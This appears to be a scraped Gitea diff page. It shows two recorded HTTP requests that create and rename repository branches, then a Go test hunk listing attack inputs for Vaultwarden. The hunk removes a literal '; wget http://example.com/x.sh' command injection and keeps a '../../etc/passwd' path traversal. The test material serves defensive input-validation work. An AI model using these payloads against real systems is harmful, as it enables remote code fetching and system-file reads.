{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
||||
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
||||
@@ -199,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
var vaultwardenAttacks = []string{
|
||||
injection,
|
||||
scriptTag,
|
||||
"; wget http://example.com/x.sh",
|
||||
shellCommand,
|
||||
"../../etc/passwd",
|
||||
}
|
||||
|
||||
|
||||
Reference in new issue
Block a user